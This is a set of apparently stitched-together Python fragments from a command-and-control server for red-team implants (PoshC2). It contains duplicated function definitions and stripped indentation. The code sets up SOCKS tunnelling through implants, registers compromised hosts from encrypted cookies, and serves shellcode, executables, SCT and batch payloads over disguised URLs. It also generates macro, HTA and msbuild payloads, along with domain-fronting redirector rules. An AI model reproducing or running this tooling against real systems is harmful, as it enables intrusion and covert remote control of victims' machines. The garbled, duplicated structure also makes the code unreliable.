def do_sharpsocks(user, command, randomuri):
check_module_loaded("SharpSocks.ps1", randomuri, user)
import string
from random import choice
allchar = string.ascii_letters
channel = "".join(choice(allchar) for x in range(25))
sharpkey = gen_key().decode("utf-8")
sharpurls = get_sharpurls()
sharpurl = select_item("PayloadCommsHost", "C2Server")
sharpport = select_item("PayloadCommsPort", "C2Server")
dfheader = select_item("DomainFrontHeader", "C2Server")
implant = get_implantdetails(randomuri)
pivot = implant[15]
if pivot != "PS":
sharpurl = input("Enter the URL for SharpSocks: ")
if (sharpport != 80 and sharpport != 443):
if (sharpurl.count("/") >= 3):
pat = re.compile(r"(?<!/)/(?!/)")
sharpurl = pat.sub(":%s/" % sharpport, str, 1)
else:
sharpurl = ("%s:%s" % (sharpurl, sharpport))
print(PoshInstallDirectory + "resources/SharpSocks/SharpSocksServerCore -c=%s -k=%s --verbose -l=%s\r\n" % (channel, sharpkey, SocksHost) + Colours.GREEN)
ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ")
if ri.lower() == "n":
print("")
if (ri == "") or (ri.lower() == "y"):
taskcmd = "Sharpsocks -Client -Uri %s -Channel %s -Key %s -URLs %s -Insecure -Beacon 1000" % (sharpurl, channel, sharpkey, sharpurls)
if dfheader:
taskcmd += " -DomainFrontURL %s" % dfheader
new_task(taskcmd, user, randomuri)
update_label("SharpSocks", randomuri)
def do_sharpsocks(user, command, randomuri):
from random import choice
allchar = string.ascii_letters
channel = "".join(choice(allchar) for x in range(25))
sharpkey = gen_key().decode("utf-8")
sharpurls = get_sharpurls()
sharpurls = sharpurls.split(",")
sharpurl = select_item("PayloadCommsHost", "C2Server")
print(
PoshInstallDirectory +
"resources/SharpSocks/SharpSocksServerCore -c=%s -k=%s --verbose -l=%s\r\n"
% (channel, sharpkey, SocksHost) + Colours.GREEN)
ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ")
if ri.lower() == "n":
print("")
if ri == "":
new_task(
"run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken"
% (sharpurl, channel, sharpkey, sharpurls[0].replace(
"\"", ""), sharpurls[1].replace("\"", "")), user, randomuri)
if ri.lower() == "y":
new_task(
"run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken"
% (sharpurl, channel, sharpkey, sharpurls[0].replace(
"\"", ""), sharpurls[1].replace("\"", "")), user, randomuri)
def __init__(self, ipaddress, pivot, domain, user, hostname, arch, pid,
proxy):
self.RandomURI = randomuri()
self.Label = None
self.User = user
self.Hostname = hostname
self.IPAddress = ipaddress
self.Key = gen_key().decode("utf-8")
self.FirstSeen = (
datetime.datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
self.LastSeen = (datetime.datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
self.PID = pid
self.Proxy = proxy
self.Arch = arch
self.Domain = domain
self.DomainFrontHeader = get_dfheader()
self.Alive = "Yes"
self.UserAgent = get_defaultuseragent()
self.Sleep = get_defaultbeacon()
self.ModsLoaded = ""
self.Jitter = Jitter
self.ImplantID = ""
self.Pivot = pivot
self.KillDate = get_killdate()
self.ServerURL = select_item("PayloadCommsHost", "C2Server")
self.AllBeaconURLs = get_otherbeaconurls()
self.AllBeaconImages = get_images()
self.SharpCore = """
RANDOMURI19901%s10991IRUMODNAR
URLS10484390243%s34209348401SLRU
KILLDATE1665%s5661ETADLLIK
SLEEP98001%s10089PEELS
JITTER2025%s5202RETTIJ
NEWKEY8839394%s4939388YEKWEN
IMGS19459394%s49395491SGMI""" % (self.RandomURI, self.AllBeaconURLs,
self.KillDate, self.Sleep, self.Jitter,
self.Key, self.AllBeaconImages)
with open("%spy_dropper.sh" % (PayloadsDirectory), 'rb') as f:
self.PythonImplant = base64.b64encode(f.read()).decode("utf-8")
py_implant_core = open(
"%s/Implant-Core.py" % PayloadTemplatesDirectory, 'r').read()
self.PythonCore = py_implant_core % (
self.DomainFrontHeader, self.Sleep, self.AllBeaconImages,
self.AllBeaconURLs, self.KillDate, self.PythonImplant, self.Jitter,
self.Key, self.RandomURI, self.UserAgent)
ps_implant_core = open(
"%s/Implant-Core.ps1" % PayloadTemplatesDirectory, 'r').read()
self.PSCore = ps_implant_core % (
self.Key, self.Jitter, self.Sleep, self.AllBeaconImages,
self.RandomURI, self.RandomURI, self.KillDate, self.AllBeaconURLs
) # Add all db elements def display(self):
def do_GET(self):
"""Respond to a GET request."""
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
new_implant_url = get_newimplanturl()
self.cookieHeader = self.headers.get('Cookie')
QuickCommandURI = select_item("QuickCommand", "C2Server")
UriPath = str(self.path)
sharpurls = get_sharpurls().split(",")
sharplist = []
for i in sharpurls:
i = i.replace(" ", "")
i = i.replace("\"", "")
sharplist.append("/" + i)
self.server_version = ServerHeader
self.sys_version = ""
if not self.cookieHeader:
self.cookieHeader = "NONE"
# implant gets a new task
new_task = newTask(self.path)
if new_task:
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(new_task)
elif [ele for ele in sharplist if(ele in UriPath)]:
try:
open("%swebserver.log" % PoshProjectDirectory, "a").write("%s - [%s] Making GET connection to SharpSocks %s%s\r\n" % (self.address_string(), self.log_date_time_string(), SocksHost, UriPath))
r = Request("%s%s" % (SocksHost, UriPath), headers={'Accept-Encoding': 'gzip', 'Cookie': '%s' % self.cookieHeader, 'User-Agent': UserAgent})
res = urlopen(r)
sharpout = res.read()
self.send_response(200)
self.send_header("Content-type", "text/html")
self.send_header("Connection", "close")
self.send_header("Content-Length", len(sharpout))
self.end_headers()
if (len(sharpout) > 0):
self.wfile.write(sharpout)
except HTTPError as e:
self.send_response(e.code)
self.send_header("Content-type", "text/html")
self.send_header("Connection", "close")
self.end_headers()
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e)
except Exception as e:
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] Error with SharpSocks - is SharpSocks running %s%s \r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e)
print(Colours.RED + "Error with SharpSocks or old implant connection - is SharpSocks running" + Colours.END)
print(Colours.RED + UriPath + Colours.END)
self.send_response(404)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(bytes(HTTPResponse, "utf-8"))
elif ("%s_bs" % QuickCommandURI) in self.path:
filename = "%spayload.bat" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(content)
elif ("%s_rg" % QuickCommandURI) in self.path:
filename = "%srg_sct.xml" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(content)
elif ("%ss/86/portal" % QuickCommandURI) in self.path:
filename = "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
content = base64.b64encode(content)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(content)
elif ("%ss/64/portal" % QuickCommandURI) in self.path:
filename = "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
content = base64.b64encode(content)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(content)
elif ("%sp/86/portal" % QuickCommandURI) in self.path:
filename = "%sPosh_v4_x86_Shellcode.bin" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
content = base64.b64encode(content)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(content)
elif ("%sp/64/portal" % QuickCommandURI) in self.path:
filename = "%sPosh_v4_x64_Shellcode.bin" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
content = base64.b64encode(content)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(content)
elif ("%s_cs" % QuickCommandURI) in self.path:
filename = "%scs_sct.xml" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(content)
elif ("%s_py" % QuickCommandURI) in self.path:
filename = "%saes.py" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
content = "a" + "".join("{:02x}".format(c) for c in content)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(bytes(content, "utf-8"))
elif ("%s_ex86" % QuickCommandURI) in self.path:
filename = "%sPosh32.exe" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
self.send_response(200)
self.send_header("Content-type", "application/x-msdownload")
self.end_headers()
self.wfile.write(content)
elif ("%s_ex64" % QuickCommandURI) in self.path:
filename = "%sPosh64.exe" % (PayloadsDirectory)
with open(filename, 'rb') as f:
content = f.read()
self.send_response(200)
self.send_header("Content-type", "application/x-msdownload")
self.end_headers()
self.wfile.write(content)
# register new implant
elif new_implant_url in self.path and self.cookieHeader.startswith("SessionID"):
implant_type = "PS"
if self.path == ("%s?p" % new_implant_url):
implant_type = "PS Proxy"
if self.path == ("%s?d" % new_implant_url):
implant_type = "PS Daisy"
if self.path == ("%s?m" % new_implant_url):
implant_type = "Python"
if self.path == ("%s?d?m" % new_implant_url):
implant_type = "Python Daisy"
if self.path == ("%s?p?m" % new_implant_url):
implant_type = "Python Proxy"
if self.path == ("%s?c" % new_implant_url):
implant_type = "C#"
if self.path == ("%s?d?c" % new_implant_url):
implant_type = "C# Daisy"
if self.path == ("%s?p?c" % new_implant_url):
implant_type = "C# Proxy"
if implant_type.startswith("C#"):
cookieVal = (self.cookieHeader).replace("SessionID=", "")
decCookie = decrypt(KEY, cookieVal)
IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(";")
Proxy = Proxy.replace("\x00", "")
if "\\" in User:
User = User[User.index("\\") + 1:]
newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, Proxy)
newImplant.save()
newImplant.display()
newImplant.autoruns()
responseVal = encrypt(KEY, newImplant.SharpCore)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(responseVal)
elif implant_type.startswith("Python"):
cookieVal = (self.cookieHeader).replace("SessionID=", "")
decCookie = decrypt(KEY, cookieVal)
IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
User, Domain, Hostname, Arch, PID, Proxy = decCookie.split(";")
Proxy = Proxy.replace("\x00", "")
newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, Proxy)
newImplant.save()
newImplant.display()
responseVal = encrypt(KEY, newImplant.PythonCore)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(responseVal)
else:
try:
cookieVal = (self.cookieHeader).replace("SessionID=", "")
decCookie = decrypt(KEY.encode("utf-8"), cookieVal)
decCookie = str(decCookie)
Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(";")
Proxy = Proxy.replace("\x00", "")
IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
if "\\" in str(User):
User = User[str(User).index('\\') + 1:]
newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, Proxy)
newImplant.save()
newImplant.display()
newImplant.autoruns()
responseVal = encrypt(KEY, newImplant.PSCore)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(responseVal)
except Exception as e:
print("Decryption error: %s" % e)
traceback.print_exc()
self.send_response(404)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(bytes(HTTPResponse, "utf-8"))
else:
self.send_response(404)
self.send_header("Content-type", "text/html")
self.end_headers()
HTTPResponsePage = select_item("HTTPResponse", "C2Server")
if HTTPResponsePage:
self.wfile.write(bytes(HTTPResponsePage, "utf-8"))
else:
self.wfile.write(bytes(HTTPResponse, "utf-8"))
def main(args):
httpd = ThreadedHTTPServer((BindIP, BindPort), MyHandler)
try:
if os.name == 'nt':
os.system('cls')
else:
os.system('clear')
except Exception:
print("cls")
print(chr(27) + "[2J")
print(Colours.GREEN + logopic)
print(Colours.END + "")
if os.path.isfile(Database):
print(("Using existing project: %s" % PoshProjectDirectory) + Colours.GREEN)
database_connect()
C2 = get_c2server_all()
if ((C2[1] == PayloadCommsHost) and (C2[3] == DomainFrontHeader)):
qstart = "%squickstart.txt" % (PoshProjectDirectory)
if os.path.exists(qstart):
with open(qstart, 'r') as f:
print(f.read())
else:
print("Error: different IP so regenerating payloads")
if os.path.exists("%spayloads_old" % PoshProjectDirectory):
import shutil
shutil.rmtree("%spayloads_old" % PoshProjectDirectory)
os.rename(PayloadsDirectory, "%s:_old" % PoshProjectDirectory)
os.makedirs(PayloadsDirectory)
C2 = get_c2server_all()
newPayload = Payloads(C2[5], C2[2], PayloadCommsHost, DomainFrontHeader, C2[8], C2[12],
C2[13], C2[11], "", "", C2[19], C2[20], C2[21], get_newimplanturl(), PayloadsDirectory)
new_urldetails("updated_host", PayloadCommsHost, C2[3], "", "", "", "")
update_item("PayloadCommsHost", "C2Server", PayloadCommsHost)
update_item("QuickCommand", "C2Server", QuickCommand)
update_item("DomainFrontHeader", "C2Server", DomainFrontHeader)
newPayload.CreateRaw()
newPayload.CreateDlls()
newPayload.CreateShellcode()
newPayload.CreateSCT()
newPayload.CreateHTA()
newPayload.CreateCS()
newPayload.CreateMacro()
newPayload.CreateEXE()
newPayload.CreateMsbuild()
newPayload.CreatePython()
newPayload.WriteQuickstart(PoshProjectDirectory + 'quickstart.txt')
else:
print("Initializing new project folder and database" + Colours.GREEN)
print("")
directory = os.path.dirname(PoshProjectDirectory)
if not os.path.exists(PoshProjectDirectory): os.makedirs(PoshProjectDirectory)
if not os.path.exists(DownloadsDirectory): os.makedirs(DownloadsDirectory)
if not os.path.exists(ReportsDirectory): os.makedirs(ReportsDirectory)
if not os.path.exists(PayloadsDirectory): os.makedirs(PayloadsDirectory)
initializedb()
if not validate_sleep_time(DefaultSleep):
print(Colours.RED)
print("Invalid DefaultSleep in config, please specify a time such as 50s, 10m or 1h")
print(Colours.GREEN)
sys.exit(1)
setupserver(PayloadCommsHost, gen_key().decode("utf-8"), DomainFrontHeader, DefaultSleep, KillDate, HTTPResponse, PoshProjectDirectory, PayloadCommsPort, QuickCommand, DownloadURI, "", "", "", Sounds, ClockworkSMS_APIKEY, ClockworkSMS_MobileNumbers, URLS, SocksURLS, Insecure, UserAgent, Referrer, Pushover_APIToken, Pushover_APIUser, EnableNotifications)
rewriteFile = "%s/rewrite-rules.txt" % directory
print("Creating Rewrite Rules in: " + rewriteFile)
print("")
rewriteHeader = ["RewriteEngine On", "SSLProxyEngine On", "SSLProxyCheckPeerCN Off", "SSLProxyVerify none", "SSLProxyCheckPeerName off", "SSLProxyCheckPeerExpire off", "# Change IPs to point at C2 infrastructure below", "Define PoshC2 10.0.0.1", "Define SharpSocks 10.0.0.1"]
rewriteFileContents = rewriteHeader + urlConfig.fetchRewriteRules() + urlConfig.fetchSocksRewriteRules()
with open(rewriteFile, 'w') as outFile:
for line in rewriteFileContents:
outFile.write(line)
outFile.write('\n')
outFile.close()
C2 = get_c2server_all()
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
C2[13], C2[11], "", "", C2[19], C2[20],
C2[21], get_newimplanturl(), PayloadsDirectory)
new_urldetails("default", C2[1], C2[3], "", "", "", "")
newPayload.CreateRaw()
newPayload.CreateDlls()
newPayload.CreateShellcode()
newPayload.CreateSCT()
newPayload.CreateHTA()
newPayload.CreateCS()
newPayload.CreateMacro()
newPayload.CreateEXE()
newPayload.CreateMsbuild()
create_self_signed_cert(PoshProjectDirectory)
newPayload.CreatePython()
newPayload.WriteQuickstart(directory + '/quickstart.txt')
print("")
print("CONNECT URL: " + select_item("PayloadCommsHost", "C2Server") + get_newimplanturl() + Colours.GREEN)
print("WEBSERVER Log: %swebserver.log" % PoshProjectDirectory)
global KEY
KEY = get_baseenckey()
print("")
print(time.asctime() + " PoshC2 Server Started - %s:%s" % (BindIP, BindPort))
from datetime import date, datetime
killdate = datetime.strptime(C2[5], '%d/%m/%Y').date()
datedifference = number_of_days(date.today(), killdate)
if datedifference < 8:
print (Colours.RED+("\nKill Date is - %s - expires in %s days" % (C2[5],datedifference)))
else:
print (Colours.GREEN+("\nKill Date is - %s - expires in %s days" % (C2[5],datedifference)))
print(Colours.END)
protocol = urlparse(PayloadCommsHost).scheme
if protocol == 'https':
if (os.path.isfile("%sposh.crt" % PoshProjectDirectory)) and (os.path.isfile("%sposh.key" % PoshProjectDirectory)):
try:
httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="%sposh.key" % PoshProjectDirectory, certfile="%sposh.crt" % PoshProjectDirectory, server_side=True, ssl_version=ssl.PROTOCOL_TLS)
except Exception:
httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="%sposh.key" % PoshProjectDirectory, certfile="%sposh.crt" % PoshProjectDirectory, server_side=True, ssl_version=ssl.PROTOCOL_TLSv1)
else:
raise ValueError("Cannot find the certificate files")
c2_message_thread = threading.Thread(target=log_c2_messages, daemon=True)
c2_message_thread.start()
try:
httpd.serve_forever()
except (KeyboardInterrupt, EOFError):
httpd.server_close()
print(time.asctime() + " PoshC2 Server Stopped - %s:%s" % (BindIP, BindPort))
sys.exit(0)
